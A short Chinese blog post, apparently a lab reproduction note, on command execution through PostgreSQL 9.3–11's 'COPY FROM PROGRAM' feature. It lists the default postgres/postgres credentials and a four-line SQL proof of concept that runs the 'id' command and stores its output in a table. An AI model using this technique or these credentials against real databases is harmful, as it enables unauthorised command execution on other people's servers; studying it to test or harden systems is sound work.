PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
默认账号密码为postgres/postgres。
首先连接到postgres中,并执行参考链接中的POC:
-
<font face="宋体" size="4">DROP TABLE IF EXISTS cmd_exec;
-
CREATE TABLE cmd_exec(cmd_output text);
-
COPY cmd_exec FROM PROGRAM 'id';
-
SELECT * FROM cmd_exec;</font>
FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中
大概就这些……
获取更多资讯请加入交流群
版权说明
本文地址:http://dufengvip.cn/post-391.html
未标注转载均为本站远程,转载请注明文章出处: